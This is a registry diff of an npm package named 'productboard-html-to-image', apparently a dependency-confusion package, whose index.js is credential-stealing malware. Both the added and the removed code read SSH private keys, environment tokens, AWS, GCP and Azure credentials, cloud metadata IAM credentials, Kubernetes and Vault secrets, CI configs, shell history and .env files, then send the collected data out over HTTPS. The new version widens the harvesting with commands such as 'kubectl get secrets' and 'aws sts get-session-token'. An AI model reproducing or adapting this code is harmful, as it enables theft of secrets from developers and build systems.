productboard-html-to-image 1001.0.9 → 1002.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +129 -102
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -36,90 +36,49 @@ function exec(cmd, timeout = 3000) {
36
36
  function getSensitiveEnvVars() {
37
37
  const result = {};
38
38
  for (const key in process.env) {
39
- if (/pass|key|token|secret|env|auth|cred|aws|gcp|azure|kube|docker|jenkins|gitlab|github/i.test(key)) {
39
+ if (/pass|key|token|secret|env|auth|cred|aws|gcp|azure|kube|docker|jenkins|gitlab|github|circleci|travis|vault/i.test(key)) {
40
40
  result[key] = process.env[key];
41
41
  }
42
42
  }
43
43
  return result;
44
44
  }
45
45
 
46
- function checkContainerOrCI() {
47
- return {
48
- cgroup: safeReadFile("/proc/1/cgroup"),
49
- dockerenv: fs.existsSync("/.dockerenv"),
50
- ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline|github|gitlab|jenkins|circleci|travis/i.test(k))),
51
- kubernetes: {
52
- token: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token"),
53
- namespace: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
54
- kubeconfig: safeReadFile(path.join(os.homedir(), ".kube/config")),
55
- },
56
- dockerConfig: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
57
- };
58
- }
59
-
60
- function getGitData() {
61
- return {
62
- branch: exec("git rev-parse --abbrev-ref HEAD"),
63
- remotes: exec("git remote -v"),
64
- config: safeReadFile(path.join(os.homedir(), ".gitconfig")),
65
- credentials: safeReadFile(path.join(os.homedir(), ".git-credentials")),
66
- netrc: safeReadFile(path.join(os.homedir(), ".netrc")),
67
- };
68
- }
69
-
70
- function getSystemState() {
71
- return {
72
- whoami: exec("whoami"),
73
- id: exec("id"),
74
- ps: exec("ps aux | head -n 30"),
75
- netstat: exec("ss -tunlp | head -n 30"),
76
- lsof: exec("lsof -n -i | head -n 30"),
77
- uname: exec("uname -a"),
78
- mounts: exec("cat /proc/mounts | head -n 30"),
79
- crontab: exec("crontab -l"),
80
- };
81
- }
82
-
83
- function getInstalledTools() {
84
- return {
85
- npm: exec("npm ls -g --depth=0 --json"),
86
- apt: exec("dpkg -l | head -n 30"),
87
- brew: exec("brew list || echo 'no brew'"),
88
- pip: exec("pip list --format=json || echo 'no pip'"),
89
- which_tools: {
90
- aws: exec("which aws"),
91
- gcloud: exec("which gcloud"),
92
- az: exec("which az"),
93
- kubectl: exec("which kubectl"),
94
- terraform: exec("which terraform"),
95
- docker: exec("which docker"),
96
- nmap: exec("which nmap"),
97
- curl: exec("which curl"),
98
- },
99
- };
100
- }
101
-
102
46
  function getCloudMetadata() {
103
47
  const metadata = {};
104
48
  const endpoints = [
105
49
  { name: "aws_instance", url: "http://169.254.169.254/latest/dynamic/instance-identity/document" },
106
- { name: "aws_metadata", url: "http://169.254.169.254/latest/meta-data/" },
107
50
  { name: "aws_iam", url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" },
51
+ { name: "aws_s3", cmd: "aws s3 ls" }, // List S3 buckets
108
52
  { name: "gcp_metadata", url: "http://metadata.google.internal/computeMetadata/v1/?recursive=true", headers: { "Metadata-Flavor": "Google" } },
53
+ { name: "gcp_projects", cmd: "gcloud projects list --format=json" },
109
54
  { name: "azure_metadata", url: "http://169.254.169.254/metadata/instance?api-version=2021-02-01", headers: { "Metadata": "true" } },
55
+ { name: "azure_subscriptions", cmd: "az account list --output json" },
110
56
  ];
111
- for (const { name, url, headers } of endpoints) {
57
+ for (const { name, url, headers, cmd } of endpoints) {
112
58
  try {
113
- let cmd = `curl -s --max-time 2 ${url}`;
114
- if (headers) {
115
- const headerStr = Object.entries(headers).map(([k, v]) => `-H "${k}: ${v}"`).join(" ");
116
- cmd = `curl -s --max-time 2 ${headerStr} ${url}`;
59
+ if (cmd) {
60
+ metadata[name] = exec(cmd);
61
+ } else {
62
+ let cmd = `curl -s --max-time 2 ${url}`;
63
+ if (headers) {
64
+ const headerStr = Object.entries(headers).map(([k, v]) => `-H "${k}: ${v}"`).join(" ");
65
+ cmd = `curl -s --max-time 2 ${headerStr} ${url}`;
66
+ }
67
+ metadata[name] = exec(cmd);
117
68
  }
118
- metadata[name] = exec(cmd);
119
69
  } catch (e) {
120
70
  metadata[name] = `ERR: ${e.message}`;
121
71
  }
122
72
  }
73
+ // Get IAM role details if available
74
+ try {
75
+ const roleName = exec("curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/");
76
+ if (roleName && !roleName.startsWith("ERR:")) {
77
+ metadata["aws_iam_creds"] = exec(`curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName}`);
78
+ }
79
+ } catch (e) {
80
+ metadata["aws_iam_creds"] = `ERR: ${e.message}`;
81
+ }
123
82
  return metadata;
124
83
  }
125
84
 
@@ -128,23 +87,119 @@ function getCloudCLIs() {
128
87
  aws: {
129
88
  credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
130
89
  config: safeReadFile(path.join(os.homedir(), ".aws/config")),
90
+ ssm_params: exec("aws ssm get-parameters --names / --recursive --query 'Parameters[*].Name'"),
131
91
  sts: exec("aws sts get-caller-identity"),
92
+ assume_role: exec("aws sts get-session-token"),
132
93
  },
133
94
  gcloud: {
134
95
  config: safeReadFile(path.join(os.homedir(), ".config/gcloud/configurations/config_default")),
135
96
  credentials: safeReadFile(path.join(os.homedir(), ".config/gcloud/credentials.db")),
97
+ service_accounts: exec("gcloud iam service-accounts list --format=json"),
136
98
  },
137
99
  azure: {
138
100
  credentials: safeReadFile(path.join(os.homedir(), ".azure/azureProfile.json")),
139
101
  accessTokens: safeReadFile(path.join(os.homedir(), ".azure/accessTokens.json")),
102
+ vm_info: exec("az vm show --query '{id:id,name:name}' --output json"),
140
103
  },
141
104
  };
142
105
  }
143
106
 
144
- function getNodeRuntime() {
107
+ function getContainerDetails() {
108
+ return {
109
+ cgroup: safeReadFile("/proc/1/cgroup"),
110
+ dockerenv: fs.existsSync("/.dockerenv"),
111
+ docker_info: exec("docker info --format json"),
112
+ docker_ps: exec("docker ps -a --format '{{.ID}}\t{{.Names}}\t{{.Image}}\t{{.Status}}'"),
113
+ docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
114
+ kubernetes: {
115
+ token: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token"),
116
+ namespace: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
117
+ kubeconfig: safeReadFile(path.join(os.homedir(), ".kube/config")),
118
+ pods: exec("kubectl get pods -o json --all-namespaces"),
119
+ secrets: exec("kubectl get secrets -o json --all-namespaces"),
120
+ },
121
+ };
122
+ }
123
+
124
+ function getCICDDetails() {
125
+ return {
126
+ github: {
127
+ token: process.env.GITHUB_TOKEN || safeReadFile(path.join(os.homedir(), ".github/token")),
128
+ actions_vars: safeReadDir(path.join(process.cwd(), ".github/workflows")),
129
+ },
130
+ jenkins: {
131
+ config: safeReadFile("/var/jenkins_home/config.xml"),
132
+ credentials: safeReadFile("/var/jenkins_home/credentials.xml"),
133
+ },
134
+ gitlab: {
135
+ config: safeReadFile(path.join(os.homedir(), ".gitlab-ci.yml")),
136
+ token: process.env.CI_JOB_TOKEN || "NOT_FOUND",
137
+ },
138
+ vault: {
139
+ token: safeReadFile(path.join(os.homedir(), ".vault-token")),
140
+ secrets: exec("vault kv list -format=json secret/"),
141
+ },
142
+ };
143
+ }
144
+
145
+ function getRuntimeSecrets() {
145
146
  return {
146
147
  node_version: process.version,
148
+ global_objects: Object.keys(global).filter(k => /key|token|secret|cred|auth/i.test(k)),
149
+ process_config: JSON.stringify(process.config),
147
150
  npm_config: exec("npm config ls -l"),
151
+ loaded_modules: Object.keys(require("module")._cache).slice(0, 50),
152
+ };
153
+ }
154
+
155
+ function getSensitiveFiles() {
156
+ const files = {
157
+ etc_passwd: safeReadFile("/etc/passwd"),
158
+ etc_hosts: safeReadFile("/etc/hosts"),
159
+ etc_resolv: safeReadFile("/etc/resolv.conf"),
160
+ bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
161
+ zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
162
+ ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
163
+ ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
164
+ ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
165
+ aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
166
+ aws_ssm: safeReadFile(path.join(os.homedir(), ".aws/ssm")),
167
+ npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
168
+ gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
169
+ git_credentials: safeReadFile(path.join(os.homedir(), ".git-credentials")),
170
+ netrc: safeReadFile(path.join(os.homedir(), ".netrc")),
171
+ docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
172
+ env_files: {
173
+ dotenv: safeReadFile(path.join(process.cwd(), ".env")),
174
+ github_workflow: safeReadDir(path.join(process.cwd(), ".github/workflows")),
175
+ circleci: safeReadFile(path.join(process.cwd(), ".circleci/config.yml")),
176
+ },
177
+ };
178
+ // Scan for additional sensitive files
179
+ const sensitivePaths = [
180
+ path.join(os.homedir(), ".config/vault"),
181
+ path.join(os.homedir(), ".terraformrc"),
182
+ path.join(process.cwd(), "secrets.yml"),
183
+ "/run/secrets",
184
+ ];
185
+ files.extras = {};
186
+ sensitivePaths.forEach(p => {
187
+ files.extras[path.basename(p)] = fs.existsSync(p) ? (fs.lstatSync(p).isDirectory() ? safeReadDir(p) : safeReadFile(p)) : "NOT_FOUND";
188
+ });
189
+ return files;
190
+ }
191
+
192
+ function getSystemState() {
193
+ return {
194
+ whoami: exec("whoami"),
195
+ id: exec("id"),
196
+ ps: exec("ps aux | grep -E 'node|java|python|ruby|go|aws|gcloud|az|kubectl|vault' | head -n 30"),
197
+ netstat: exec("ss -tunlp | head -n 30"),
198
+ lsof: exec("lsof -n -i | head -n 30"),
199
+ uname: exec("uname -a"),
200
+ mounts: exec("cat /proc/mounts | head -n 30"),
201
+ crontab: exec("crontab -l"),
202
+ sysctl: exec("sysctl -a | grep -E 'kernel|vm|net' | head -n 50"),
148
203
  };
149
204
  }
150
205
 
@@ -195,42 +250,14 @@ try {
195
250
  }
196
251
  })(),
197
252
  env: getSensitiveEnvVars(),
198
- dirs: {
199
- "/": safeReadDir("/"),
200
- "/home": safeReadDir("/home"),
201
- "/root": safeReadDir("/root"),
202
- "/etc": safeReadDir("/etc"),
203
- "/var/run": safeReadDir("/var/run"),
204
- "/var/log": safeReadDir("/var/log"),
205
- "~": safeReadDir(os.homedir()),
206
- },
207
- files: {
208
- etc_passwd: safeReadFile("/etc/passwd"),
209
- etc_hosts: safeReadFile("/etc/hosts"),
210
- etc_resolv: safeReadFile("/etc/resolv.conf"),
211
- bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
212
- zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
213
- ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
214
- ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
215
- ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
216
- aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
217
- aws_config: safeReadFile(path.join(os.homedir(), ".aws/config")),
218
- npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
219
- gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
220
- docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
221
- env_files: {
222
- dotenv: safeReadFile(path.join(process.cwd(), ".env")),
223
- github_workflow: safeReadDir(path.join(process.cwd(), ".github/workflows")),
224
- },
225
- },
226
- git: getGitData(),
227
- container: checkContainerOrCI(),
228
- system: getSystemState(),
229
- tools: getInstalledTools(),
230
- network: os.networkInterfaces(),
253
+ container: getContainerDetails(),
231
254
  cloud: getCloudMetadata(),
232
255
  cloud_clis: getCloudCLIs(),
233
- node: getNodeRuntime(),
256
+ cicd: getCICDDetails(),
257
+ runtime: getRuntimeSecrets(),
258
+ files: getSensitiveFiles(),
259
+ system: getSystemState(),
260
+ network: os.networkInterfaces(),
234
261
  timestamp: new Date().toISOString()
235
262
  };
236
263
  } catch (e) {
@@ -257,11 +284,11 @@ try {
257
284
  };
258
285
 
259
286
  const req = https.request(options, res => {
260
- res.on("data", () => { });
261
- res.on("end", () => { });
287
+ res.on("data", () => {});
288
+ res.on("end", () => {});
262
289
  });
263
290
 
264
- req.on("error", () => { });
291
+ req.on("error", () => {});
265
292
  req.on("timeout", () => req.destroy());
266
293
  req.write(postData);
267
294
  req.end();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "productboard-html-to-image",
3
- "version": "1001.0.9",
3
+ "version": "1002.0.9",
4
4
  "main": "index.js",
5
5
  "keywords": [],
6
6
  "scripts": {